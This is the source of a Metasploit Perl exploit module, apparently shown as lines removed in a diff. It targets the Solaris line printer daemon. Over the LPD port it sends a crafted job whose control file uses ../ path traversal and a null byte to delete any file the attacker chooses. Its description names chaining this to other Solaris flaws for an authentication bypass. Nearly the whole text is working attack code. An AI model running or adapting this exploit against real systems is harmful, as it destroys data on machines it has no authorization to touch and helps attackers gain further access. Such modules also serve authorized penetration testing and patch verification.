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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::solaris_lpd_unlink;
- use base "Msf::Exploit";
- use IO::Socket;
- use IO::Select;
- use strict;
- use Pex::Text;
-
- my $advanced = { };
-
- my $info =
- {
- 'Name' => 'Solaris LPD Arbitrary File Delete',
- 'Version' => '$Revision: 1.6 $',
- 'Authors' =>
- [
- 'H D Moore <hdm [at] metasploit.com>',
- 'Optyx <optyx [at] uberhax0r.net>'
- ],
-
- 'Arch' => [ ],
- 'OS' => [ 'solaris' ],
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The LPD server port', 515],
- 'RPATH' => [1, 'DATA', 'The remote path name to delete'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module uses a vulnerability in the Solaris line printer daemon
- to delete arbitrary files on an affected system. This can be used to exploit
- the rpc.walld format string flaw, the missing krb5.conf authentication bypass,
- or simple delete system files. Tested on Solaris 2.6, 7, 8, 9, and 10.
- }),
-
- 'Refs' =>
- [
- ['URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-26-101842-1'],
- ],
-
- 'DefaultTarget' => 0,
- 'Targets' => [['No Target Needed']],
-
- 'Keys' => ['lpd'],
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_path = $self->GetVar('RPATH');
- my $res;
-
- # We use one connection to configure the spool directory
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- # Send a job request that will trigger the cascade adaptor (thanks Dino!)
- $s->Send("\x02"."metasploit:framework\n");
- $res = $s->Recv(1, 5);
- if (ord($res) != 0) {
- $self->PrintLine("[*] The target did not accept our job request command");
- return;
- }
-
- # The job ID is squashed down to three decimal digits
- my $jid = ($$ % 1000).unpack("H*",pack('N', time() + $$));
-
- # Create a simple control file...
- my $control = "Hmetasploit\nPr00t\n";
-
- # Theoretically, we could delete multiple files at once, however
- # the lp daemon will append garbage from memory to the path name
- # if we don't stick a null byte after the path. Unfortunately, this
- # null byte will prevent the parser from processing the other paths.
- $control .= "U".("../" x 10)."$target_path\x00\n";
-
- my $dataf = "http://metasploit.com/\n";
-
- $self->PrintLine("[*] Sending the malicious cascaded job request...");
- if ( ! $self->SendFile($s, 2, "cfA".$jid."metasploit", $control) ||
- ! $self->SendFile($s, 3, "dfa".$jid."metasploit", $dataf) ||
- 0
- ) { $s->Close; return }
-
- $self->PrintLine('');
- $self->PrintLine("[*] Successfully deleted $target_path >:-]");
- return;
- }
-
- sub SendFile {
- my $self = shift;
- my $sock = shift;
- my $type = shift;
- my $name = shift;
- my $data = shift;
-
- $sock->Send(chr($type) .length($data). " $name\n");
- my $res = $sock->Recv(1, 5);
- if (ord($res) != 0) {
- $self->PrintLine("[*] The target did not accept our control file command ($name)");
- return;
- }
-
- $sock->Send($data);
- $sock->Send("\x00");
- $res = $sock->Recv(1, 5);
- if (ord($res) != 0) {
- $self->PrintLine("[*] The target did not accept our control file data ($name)");
- return;
- }
-
- $self->PrintLine(sprintf("[*] Uploaded %.4d bytes >> $name", length($data)));
- return 1;
- }
-
- 1;
-